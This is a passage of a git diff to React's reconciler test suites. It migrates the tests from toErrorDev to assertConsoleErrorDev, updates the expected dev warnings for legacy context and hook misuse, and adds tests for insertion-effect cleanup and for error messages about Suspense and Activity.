+          'It looks like you wrote useInsertionEffect(async () => ...) or returned a Promise. ' +
+          'Instead, write the async function inside your effect and call it immediately:\n' +
+          '\n' +
+          'useInsertionEffect(() => {\n' +
+          '  async function fetchData() {\n' +
+          '    // You can await here\n' +
+          '    const response = await MyAPI.getData(someId);\n' +
+          '    // ...\n' +
+          '  }\n' +
+          '  fetchData();\n' +
+          "}, [someId]); // Or [] if effect doesn't need props or state\n" +
+          '\n' +
+          'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching\n' +
+          '    in App (at **)',
       ]);
 
       // Error on unmount because React assumes the value is a function
@@ -2961,11 +2974,13 @@ describe('ReactHooksWithNoopRenderer', () => {
       }
 
       const root = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root.render(<App />);
-        });
-      }).toErrorDev(['useInsertionEffect must not schedule updates.']);
+      await act(() => {
+        root.render(<App />);
+      });
+      assertConsoleErrorDev([
+        'useInsertionEffect must not schedule updates.\n' +
+          '    in App (at **)',
+      ]);
 
       await act(async () => {
         root.render(<App throw={true} />);
@@ -3003,11 +3018,13 @@ describe('ReactHooksWithNoopRenderer', () => {
       await act(() => {
         root.render(<App foo="hello" />);
       });
-      await expect(async () => {
-        await act(() => {
-          root.render(<App foo="goodbye" />);
-        });
-      }).toErrorDev(['useInsertionEffect must not schedule updates.']);
+      await act(() => {
+        root.render(<App foo="goodbye" />);
+      });
+      assertConsoleErrorDev([
+        'useInsertionEffect must not schedule updates.\n' +
+          '    in App (at **)',
+      ]);
 
       await act(async () => {
         root.render(<App throw={true} />);
@@ -3026,6 +3043,50 @@ describe('ReactHooksWithNoopRenderer', () => {
         root.render(<NotInsertion />);
       });
     });
+
+    it('warns when setState is called from offscreen deleted insertion effect cleanup', async () => {
+      function App(props) {
+        const [, setX] = useState(0);
+        useInsertionEffect(() => {
+          if (props.throw) {
+            throw Error('No');
+          }
+          return () => {
+            setX(1);
+          };
+        }, [props.throw, props.foo]);
+        return null;
+      }
+
+      const root = ReactNoop.createRoot();
+      await act(() => {
+        root.render(
+          <Activity mode="hidden">
+            <App foo="hello" />
+          </Activity>,
+        );
+      });
+
+      await act(() => {
+        root.render(<Activity mode="hidden" />);
+      });
+      assertConsoleErrorDev([
+        'useInsertionEffect must not schedule updates.\n' +
+          '    in App (at **)',
+      ]);
+
+      // Should not warn for regular effects after throw.
+      function NotInsertion() {
+        const [, setX] = useState(0);
+        useEffect(() => {
+          setX(1);
+        }, []);
+        return null;
+      }
+      await act(() => {
+        root.render(<NotInsertion />);
+      });
+    });
   });
 
   describe('useLayoutEffect', () => {
@@ -3189,35 +3250,47 @@ describe('ReactHooksWithNoopRenderer', () => {
       }
 
       const root1 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root1.render(<App return={17} />);
-        });
-      }).toErrorDev([
+      await act(() => {
+        root1.render(<App return={17} />);
+      });
+      assertConsoleErrorDev([
         'useLayoutEffect must not return anything besides a ' +
-          'function, which is used for clean-up. You returned: 17',
+          'function, which is used for clean-up. You returned: 17\n' +
+          '    in App (at **)',
       ]);
 
       const root2 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root2.render(<App return={null} />);
-        });
-      }).toErrorDev([
+      await act(() => {
+        root2.render(<App return={null} />);
+      });
+      assertConsoleErrorDev([
         'useLayoutEffect must not return anything besides a ' +
           'function, which is used for clean-up. You returned null. If your ' +
-          'effect does not require clean up, return undefined (or nothing).',
+          'effect does not require clean up, return undefined (or nothing).\n' +
+          '    in App (at **)',
       ]);
 
       const root3 = ReactNoop.createRoot();
-      await expect(async () => {
-        await act(() => {
-          root3.render(<App return={Promise.resolve()} />);
-        });
-      }).toErrorDev([
+      await act(() => {
+        root3.render(<App return={Promise.resolve()} />);
+      });
+      assertConsoleErrorDev([
         'useLayoutEffect must not return anything besides a ' +
           'function, which is used for clean-up.\n\n' +
-          'It looks like you wrote useLayoutEffect(async () => ...) or returned a Promise.',
+          'It looks like you wrote useLayoutEffect(async () => ...) or returned a Promise. ' +
+          'Instead, write the async function inside your effect and call it immediately:\n' +
+          '\n' +
+          'useLayoutEffect(() => {\n' +
+          '  async function fetchData() {\n' +
+          '    // You can await here\n' +
+          '    const response = await MyAPI.getData(someId);\n' +
+          '    // ...\n' +
+          '  }\n' +
+          '  fetchData();\n' +
+          "}, [someId]); // Or [] if effect doesn't need props or state\n" +
+          '\n' +
+          'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching\n' +
+          '    in App (at **)',
       ]);
 
       // Error on unmount because React assumes the value is a function
@@ -3457,14 +3530,10 @@ describe('ReactHooksWithNoopRenderer', () => {
       let totalRefUpdates = 0;
       function Counter(props, ref) {
         const [count, dispatch] = useReducer(reducer, 0);
-        useImperativeHandle(
-          ref,
-          () => {
-            totalRefUpdates++;
-            return {count, dispatch};
-          },
-          [count],
-        );
+        useImperativeHandle(ref, () => {
+          totalRefUpdates++;
+          return {count, dispatch};
+        }, [count]);
         return <Text text={'Count: ' + count} />;
       }
 
@@ -3577,7 +3646,13 @@ describe('ReactHooksWithNoopRenderer', () => {
         ReactNoop.render(<App />);
       });
 
-      assertLog(['A', 'Suspend! [A]', 'Loading']);
+      assertLog([
+        'A',
+        'Suspend! [A]',
+        'Loading',
+        // pre-warming
+        'Suspend! [A]',
+      ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
           <span prop="A" />
@@ -3681,21 +3756,23 @@ describe('ReactHooksWithNoopRenderer', () => {
       );
 
       ReactNoop.render(<App loadC={true} />);
-      await expect(async () => {
-        await waitForThrow(
-          'Rendered more hooks than during the previous render.',
-        );
-        assertLog([]);
-      }).toErrorDev([
+      await waitForThrow(
+        'Rendered more hooks than during the previous render.',
+      );
+      assertLog([]);
+      assertConsoleErrorDev([
         'React has detected a change in the order of Hooks called by App. ' +
           'This will lead to bugs and errors if not fixed. For more information, ' +
-          'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n\n' +
+          'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n' +
+          '\n' +
           '   Previous render            Next render\n' +
           '   ------------------------------------------------------\n' +
           '1. useState                   useState\n' +
           '2. useState                   useState\n' +
           '3. undefined                  useState\n' +
-          '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n',
+          '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n' +
+          '\n' +
+          '    in App (at **)',
       ]);
 
       // Uncomment if/when we support this again
@@ -3778,20 +3855,22 @@ describe('ReactHooksWithNoopRenderer', () => {
 
       await act(async () => {
         ReactNoop.render(<App showMore={true} />);
-        await expect(async () => {
-          await waitForThrow(
-            'Rendered more hooks than during the previous render.',
-          );
-          assertLog(['Unmount A']);
-        }).toErrorDev([
+        await waitForThrow(
+          'Rendered more hooks than during the previous render.',
+        );
+        assertLog(['Unmount A']);
+        assertConsoleErrorDev([
           'React has detected a change in the order of Hooks called by App. ' +
             'This will lead to bugs and errors if not fixed. For more information, ' +
-            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n\n' +
+            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\n' +
+            '\n' +
             '   Previous render            Next render\n' +
             '   ------------------------------------------------------\n' +
             '1. useEffect                  useEffect\n' +
             '2. undefined                  useEffect\n' +
-            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n',
+            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n' +
+            '\n' +
+            '    in App (at **)',
         ]);
       });
 
diff --git a/packages/react-reconciler/src/__tests__/ReactIncremental-test.js b/packages/react-reconciler/src/__tests__/ReactIncremental-test.js
index 2ce110bebe55..781a8f7579f8 100644
--- a/packages/react-reconciler/src/__tests__/ReactIncremental-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactIncremental-test.js
@@ -14,6 +14,8 @@ let React;
 let ReactNoop;
 let Scheduler;
 let PropTypes;
+
+let assertConsoleErrorDev;
 let waitForAll;
 let waitFor;
 let waitForThrow;
@@ -27,11 +29,13 @@ describe('ReactIncremental', () => {
     Scheduler = require('scheduler');
     PropTypes = require('prop-types');
 
-    const InternalTestUtils = require('internal-test-utils');
-    waitForAll = InternalTestUtils.waitForAll;
-    waitFor = InternalTestUtils.waitFor;
-    waitForThrow = InternalTestUtils.waitForThrow;
-    assertLog = InternalTestUtils.assertLog;
+    ({
+      assertConsoleErrorDev,
+      waitForAll,
+      waitFor,
+      waitForThrow,
+      assertLog,
+    } = require('internal-test-utils'));
   });
 
   // Note: This is based on a similar component we use in www. We can delete
@@ -1697,7 +1701,7 @@ describe('ReactIncremental', () => {
     expect(instance.state.n).toEqual(3);
   });
 
-  // @gate !disableLegacyContext
+  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents
   it('merges and masks context', async () => {
     class Intl extends React.Component {
       static childContextTypes = {
@@ -1793,6 +1797,17 @@ describe('ReactIncremental', () => {
       'ShowLocale {"locale":"fr"}',
       'ShowBoth {"locale":"fr"}',
     ]);
+    assertConsoleErrorDev([
+      'Intl uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Intl (at **)',
+      'ShowLocale uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ShowLocale (at **)',
+      'ShowBoth uses the legacy contextTypes API which will be removed soon. ' +
+        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ShowBoth (at **)',
+    ]);
 
     ReactNoop.render(
       <Intl locale="de">
@@ -1843,6 +1858,14 @@ describe('ReactIncremental', () => {
       'ShowBoth {"locale":"en","route":"/about"}',
       'ShowBoth {"locale":"en"}',
     ]);
+    assertConsoleErrorDev([
+      'Router uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Router (at **)',
+      'ShowRoute uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Indirection (at **)',
+    ]);
   });
 
   // @gate !disableLegacyContext
@@ -1876,6 +1899,14 @@ describe('ReactIncremental', () => {
       'Recurse {"n":1}',
       'Recurse {"n":0}',
     ]);
+    assertConsoleErrorDev([
+      'Recurse uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Recurse (at **)',
+      'Recurse uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Recurse (at **)',
+    ]);
   });
 
   // @gate enableLegacyHidden && !disableLegacyContext
@@ -1925,6 +1956,14 @@ describe('ReactIncremental', () => {
       'ShowLocale {"locale":"fr"}',
       'ShowLocale {"locale":"fr"}',
     ]);
+    assertConsoleErrorDev([
+      'Intl uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Intl (at **)',
+      'ShowLocale uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ShowLocale (at **)',
+    ]);
 
     await waitForAll([
       'ShowLocale {"locale":"fr"}',
@@ -1933,7 +1972,7 @@ describe('ReactIncremental', () => {
     ]);
   });
 
-  // @gate !disableLegacyContext
+  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents
   it('reads context when setState is below the provider', async () => {
     let statefulInst;
 
@@ -2012,6 +2051,17 @@ describe('ReactIncremental', () => {
       'ShowLocaleClass:read {"locale":"fr"}',
       'ShowLocaleFn:read {"locale":"fr"}',
     ]);
+    assertConsoleErrorDev([
+      'Intl uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Intl (at **)',
+      'ShowLocaleClass uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ShowLocaleClass (at **)',
+      'ShowLocaleFn uses the legacy contextTypes API which will be removed soon. ' +
+        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ShowLocaleFn (at **)',
+    ]);
 
     statefulInst.setState({x: 1});
     await waitForAll([]);
@@ -2020,7 +2070,7 @@ describe('ReactIncremental', () => {
     assertLog([]);
   });
 
-  // @gate !disableLegacyContext
+  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents
   it('reads context when setState is above the provider', async () => {
     let statefulInst;
 
@@ -2098,6 +2148,19 @@ describe('ReactIncremental', () => {
       'ShowLocaleFn:read {"locale":"fr"}',
     ]);
 
+    assertConsoleErrorDev([
+      'Intl uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Stateful (at **)',
+      'ShowLocaleClass uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ShowLocaleClass (at **)',
+
+      'ShowLocaleFn uses the legacy contextTypes API which will be removed soon. ' +
+        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in ShowLocaleFn (at **)',
+    ]);
+
     statefulInst.setState({locale: 'gr'});
     await waitForAll([
       // Intl is below setState() so it might have been
@@ -2154,6 +2217,13 @@ describe('ReactIncremental', () => {
     ReactNoop.render(<Root />);
     await waitForAll([]);
 
+    assertConsoleErrorDev([
+      'Child uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Middle (at **)\n' +
+        '    in Root (at **)',
+    ]);
+
     // Trigger an update in the middle of the tree
     instance.setState({});
     await waitForAll([]);
@@ -2200,15 +2270,23 @@ describe('ReactIncremental', () => {
     // Init
     ReactNoop.render(<Root />);
     await waitForAll([]);
+    assertConsoleErrorDev([
+      'ContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Root (at **)',
+    ]);
 
     // Trigger an update in the middle of the tree
     // This is necessary to reproduce the error as it currently exists.
     instance.setState({
       throwError: true,
     });
-    await expect(async () => await waitForAll([])).toErrorDev(
-      'Error boundaries should implement getDerivedStateFromError()',
-    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Root: Error boundaries should implement getDerivedStateFromError(). ' +
+        'In that method, return a state update to display an error message or fallback UI.\n' +
+        '    in Root (at **)',
+    ]);
   });
 
   // @gate !disableLegacyContext || !__DEV__
@@ -2252,6 +2330,12 @@ describe('ReactIncremental', () => {
       'render',
       'componentDidUpdate',
     ]);
+
+    assertConsoleErrorDev([
+      'MyComponent uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in MyComponent (at **)',
+    ]);
   });
 
   // eslint-disable-next-line jest/no-disabled-tests
@@ -2384,6 +2468,14 @@ describe('ReactIncremental', () => {
     );
 
     await waitForAll(['count:0']);
+    assertConsoleErrorDev([
+      'TopContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in TopContextProvider (at **)',
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Child (at **)',
+    ]);
     instance.updateCount();
     await waitForAll(['count:1']);
   });
@@ -2440,6 +2532,17 @@ describe('ReactIncremental', () => {
     );
 
     await waitForAll(['count:0']);
+    assertConsoleErrorDev([
+      'TopContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in TopContextProvider (at **)',
+      'MiddleContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in MiddleContextProvider (at **)',
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Child (at **)',
+    ]);
     instance.updateCount();
     await waitForAll(['count:1']);
   });
@@ -2505,6 +2608,17 @@ describe('ReactIncremental', () => {
     );
 
     await waitForAll(['count:0']);
+    assertConsoleErrorDev([
+      'TopContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in TopContextProvider (at **)',
+      'MiddleContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in MiddleContextProvider (at **)',
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Child (at **)',
+    ]);
     instance.updateCount();
     await waitForAll([]);
   });
@@ -2580,6 +2694,17 @@ describe('ReactIncremental', () => {
     );
 
     await waitForAll(['count:0, name:brian']);
+    assertConsoleErrorDev([
+      'TopContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in TopContextProvider (at **)',
+      'MiddleContextProvider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in MiddleContextProvider (at **)',
+      'Child uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Child (at **)',
+    ]);
     topInstance.updateCount();
     await waitForAll([]);
     middleInstance.updateName('not brian');
@@ -2682,10 +2807,19 @@ describe('ReactIncremental', () => {
           <Boundary />
         </React.StrictMode>,
       );
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev([
-        'Legacy context API has been detected within a strict-mode tree',
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'Boundary uses the legacy contextTypes API which will soon be removed. ' +
+          'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+          '    in Boundary (at **)',
+        'Legacy context API has been detected within a strict-mode tree.\n' +
+          '\n' +
+          'The old API will be supported in all 16.x releases, but applications using it should migrate to the new version.\n' +
+          '\n' +
+          'Please update the following components: Boundary\n' +
+          '\n' +
+          'Learn more about this warning here: https://react.dev/link/legacy-context\n' +
+          '    in Boundary (at **)',
       ]);
     }
 
diff --git a/packages/react-reconciler/src/__tests__/ReactIncrementalErrorHandling-test.internal.js b/packages/react-reconciler/src/__tests__/ReactIncrementalErrorHandling-test.internal.js
index e800dd74e10a..193ffa33889f 100644
--- a/packages/react-reconciler/src/__tests__/ReactIncrementalErrorHandling-test.internal.js
+++ b/packages/react-reconciler/src/__tests__/ReactIncrementalErrorHandling-test.internal.js
@@ -19,6 +19,7 @@ let assertLog;
 let waitForAll;
 let waitFor;
 let waitForThrow;
+let assertConsoleErrorDev;
 
 describe('ReactIncrementalErrorHandling', () => {
   beforeEach(() => {
@@ -28,6 +29,8 @@ describe('ReactIncrementalErrorHandling', () => {
     ReactNoop = require('react-noop-renderer');
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
 
     const InternalTestUtils = require('internal-test-utils');
     assertLog = InternalTestUtils.assertLog;
@@ -284,6 +287,10 @@ describe('ReactIncrementalErrorHandling', () => {
       'commit',
       'commit',
     ]);
+    assertConsoleErrorDev([
+      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +
+        '\n    in <stack>',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(
       <span prop="Everything is fine." />,
     );
@@ -336,6 +343,10 @@ describe('ReactIncrementalErrorHandling', () => {
       'commit',
       'commit',
     ]);
+    assertConsoleErrorDev([
+      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +
+        '\n    in <stack>',
+    ]);
     // This should not include the offscreen content
     expect(ReactNoop).toMatchRenderedOutput(
       <>
@@ -1155,7 +1166,7 @@ describe('ReactIncrementalErrorHandling', () => {
   // because it's used for new context, suspense, and many other features.
   // It has to be tested independently for each feature anyway. So although it
   // doesn't look like it, this test is specific to legacy context.
-  // @gate !disableLegacyContext
+  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents
   it('unwinds the context stack correctly on error', async () => {
     class Provider extends React.Component {
       static childContextTypes = {message: PropTypes.string};
@@ -1208,7 +1219,19 @@ describe('ReactIncrementalErrorHandling', () => {
         <Connector />
       </Provider>,
     );
+
     await waitForAll([]);
+    assertConsoleErrorDev([
+      'Provider uses the legacy childContextTypes API which will soon be removed. ' +
+        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Provider (at **)',
+      'Provider uses the legacy contextTypes API which will soon be removed. ' +
+        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Provider (at **)',
+      'Connector uses the legacy contextTypes API which will be removed soon. ' +
+        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\n' +
+        '    in Connector (at **)',
+    ]);
 
     // If the context stack does not unwind, span will get 'abcde'
     expect(ReactNoop).toMatchRenderedOutput(<span prop="a" />);
@@ -1237,11 +1260,8 @@ describe('ReactIncrementalErrorHandling', () => {
         <BrokenRender />
       </ErrorBoundary>,
     );
-    await expect(async () => await waitForAll([])).toErrorDev([
-      'React.jsx: type is invalid -- expected a string',
-      // React retries once on error
-      'React.jsx: type is invalid -- expected a string',
-    ]);
+    await waitForAll([]);
+
     expect(ReactNoop).toMatchRenderedOutput(
       <span
         prop={
@@ -1288,11 +1308,8 @@ describe('ReactIncrementalErrorHandling', () => {
         <BrokenRender fail={true} />
       </ErrorBoundary>,
     );
-    await expect(async () => await waitForAll([])).toErrorDev([
-      'React.jsx: type is invalid -- expected a string',
-      // React retries once on error
-      'React.jsx: type is invalid -- expected a string',
-    ]);
+    await waitForAll([]);
+
     expect(ReactNoop).toMatchRenderedOutput(
       <span
         prop={
@@ -1310,10 +1327,8 @@ describe('ReactIncrementalErrorHandling', () => {
 
   it('recovers from uncaught reconciler errors', async () => {
     const InvalidType = undefined;
-    expect(() => ReactNoop.render(<InvalidType />)).toErrorDev(
-      'React.jsx: type is invalid -- expected a string',
-      {withoutStack: true},
-    );
+    ReactNoop.render(<InvalidType />);
+
     await waitForThrow(
       'Element type is invalid: expected a string (for built-in components) or ' +
         'a class/function (for composite components) but got: undefined.' +
@@ -1779,6 +1794,10 @@ describe('ReactIncrementalErrorHandling', () => {
     });
 
     // Should finish without throwing.
+    assertConsoleErrorDev([
+      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +
+        '\n    in <stack>',
+    ]);
     expect(root).toMatchRenderedOutput('Everything is fine.');
   });
 
@@ -1825,6 +1844,10 @@ describe('ReactIncrementalErrorHandling', () => {
     });
     // Should render the final state without throwing the error.
     assertLog(['Everything is fine.']);
+    assertConsoleErrorDev([
+      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +
+        '\n    in <stack>',
+    ]);
     expect(root).toMatchRenderedOutput('Everything is fine.');
   });
 
diff --git a/packages/react-reconciler/src/__tests__/ReactIncrementalErrorLogging-test.js b/packages/react-reconciler/src/__tests__/ReactIncrementalErrorLogging-test.js
index 8333445c6978..f759fc60ef35 100644
--- a/packages/react-reconciler/src/__tests__/ReactIncrementalErrorLogging-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactIncrementalErrorLogging-test.js
@@ -33,7 +33,7 @@ describe('ReactIncrementalErrorLogging', () => {
     waitForAll = InternalTestUtils.waitForAll;
   });
 
-  // Note: in this test file we won't be using toErrorDev() matchers
+  // Note: in this test file we won't be using assertConsoleDev() matchers
   // because they filter out precisely the messages we want to test for.
   let oldConsoleWarn;
   let oldConsoleError;
@@ -91,15 +91,12 @@ describe('ReactIncrementalErrorLogging', () => {
           'Consider adding an error boundary to your tree ' +
             'to customize error handling behavior.',
         ),
-        expect.stringMatching(
-          new RegExp(
-            gate(flags => flags.enableOwnerStacks)
-              ? '\\s+(in|at) ErrorThrowingComponent'
-              : '\\s+(in|at) ErrorThrowingComponent (.*)\n' +
-                '\\s+(in|at) span(.*)\n' +
-                '\\s+(in|at) div(.*)',
-          ),
-        ),
+        // The component stack is not added without the polyfill/devtools.
+        // expect.stringMatching(
+        //  new RegExp(
+        //    '\\s+(in|at) ErrorThrowingComponent'
+        //  ),
+        // ),
       );
     }
   });
@@ -139,15 +136,12 @@ describe('ReactIncrementalErrorLogging', () => {
           'Consider adding an error boundary to your tree ' +
             'to customize error handling behavior.',
         ),
-        expect.stringMatching(
-          new RegExp(
-            gate(flags => flags.enableOwnerStacks)
-              ? '\\s+(in|at) ErrorThrowingComponent'
-              : '\\s+(in|at) ErrorThrowingComponent (.*)\n' +
-                '\\s+(in|at) span(.*)\n' +
-                '\\s+(in|at) div(.*)',
-          ),
-        ),
+        // The component stack is not added without the polyfill/devtools.
+        // expect.stringMatching(
+        //   new RegExp(
+        //     '\\s+(in|at) ErrorThrowingComponent'
+        //   ),
+        // ),
       );
     }
   });
@@ -199,16 +193,12 @@ describe('ReactIncrementalErrorLogging', () => {
           'React will try to recreate this component tree from scratch ' +
             'using the error boundary you provided, ErrorBoundary.',
         ),
-        expect.stringMatching(
-          new RegExp(
-            gate(flags => flags.enableOwnerStacks)
-              ? '\\s+(in|at) ErrorThrowingComponent'
-              : '\\s+(in|at) ErrorThrowingComponent (.*)\n' +
-                '\\s+(in|at) span(.*)\n' +
-                '\\s+(in|at) ErrorBoundary(.*)\n' +
-                '\\s+(in|at) div(.*)',
-          ),
-        ),
+        // The component stack is not added without the polyfill/devtools.
+        // expect.stringMatching(
+        //   new RegExp(
+        //     '\\s+(in|at) ErrorThrowingComponent'
+        //   ),
+        // ),
       );
     } else {
       expect(logCapturedErrorCalls[0]).toEqual(
@@ -223,6 +213,67 @@ describe('ReactIncrementalErrorLogging', () => {
     }).toThrow('logCapturedError error');
   });
 
+  it('does not report internal Offscreen component for errors thrown during reconciliation inside Suspense', async () => {
+    // When a child of Suspense throws during reconciliation (not render),
+    // a Throw fiber is created whose .return is the internal Offscreen fiber.
+    // We should skip Offscreen since it's an internal
+    // implementation detail and walk up to Suspense instead.
+    const lazyChild = React.lazy(() => {
+      throw new Error('lazy init error');
+    });
+
+    await fakeAct(() => {
+      ReactNoop.render(
+        <React.Suspense fallback={<div />}>{lazyChild}</React.Suspense>,
+      );
+    });
+    expect(uncaughtExceptionMock).toHaveBeenCalledTimes(1);
+    expect(uncaughtExceptionMock).toHaveBeenCalledWith(
+      expect.objectContaining({
+        message: 'lazy init error',
+      }),
+    );
+    if (__DEV__) {
+      expect(console.warn).toHaveBeenCalledTimes(1);
+      expect(console.warn.mock.calls[0]).toEqual([
+        '%s\n\n%s\n',
+        'An error occurred in the <Suspense> component.',
+        'Consider adding an error boundary to your tree to customize error handling behavior.\n' +
+          'Visit https://react.dev/link/error-boundaries to learn more about error boundaries.',
+      ]);
+    }
+  });
+
+  it('does not report internal Offscreen component for errors thrown during reconciliation inside Activity', async () => {
+    // Same as the Suspense test above — Activity also wraps its children in
+    // an internal Offscreen fiber. The error message should show Activity,
+    // not Offscreen.
+    const lazyChild = React.lazy(() => {
+      throw new Error('lazy init error');
+    });
+
+    await fakeAct(() => {
+      ReactNoop.render(
+        <React.Activity mode="visible">{lazyChild}</React.Activity>,
+      );
+    });
+    expect(uncaughtExceptionMock).toHaveBeenCalledTimes(1);
+    expect(uncaughtExceptionMock).toHaveBeenCalledWith(
+      expect.objectContaining({
+        message: 'lazy init error',
+      }),
+    );
+    if (__DEV__) {
+      expect(console.warn).toHaveBeenCalledTimes(1);
+      expect(console.warn.mock.calls[0]).toEqual([
+        '%s\n\n%s\n',
+        'An error occurred in the <Activity> component.',
+        'Consider adding an error boundary to your tree to customize error handling behavior.\n' +
+          'Visit https://react.dev/link/error-boundaries to learn more about error boundaries.',
+      ]);
+    }
+  });
+
   it('resets instance variables before unmounting failed node', async () => {
     class ErrorBoundary extends React.Component {
       state = {error: null};
@@ -282,13 +333,10 @@ describe('ReactIncrementalErrorLogging', () => {
           'React will try to recreate this component tree from scratch ' +
             'using the error boundary you provided, ErrorBoundary.',
         ),
-        expect.stringMatching(
-          gate(flag => flag.enableOwnerStacks)
-            ? new RegExp('\\s+(in|at) Foo')
-            : new RegExp(
-                '\\s+(in|at) Foo (.*)\n' + '\\s+(in|at) ErrorBoundary(.*)',
-              ),
-        ),
+        // The component stack is not added without the polyfill/devtools.
+        // expect.stringMatching(
+        //   new RegExp('\\s+(in|at) Foo')
+        // ),
       );
     } else {
       expect(console.error).toHaveBeenCalledWith(
diff --git a/packages/react-reconciler/src/__tests__/ReactIncrementalErrorReplay-test.js b/packages/react-reconciler/src/__tests__/ReactIncrementalErrorReplay-test.js
index ed4317d95706..038fee759d21 100644
--- a/packages/react-reconciler/src/__tests__/ReactIncrementalErrorReplay-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactIncrementalErrorReplay-test.js
@@ -12,6 +12,7 @@
 
 let React;
 let ReactNoop;
+let assertConsoleErrorDev;
 let waitForAll;
 let waitForThrow;
 
@@ -22,6 +23,7 @@ describe('ReactIncrementalErrorReplay', () => {
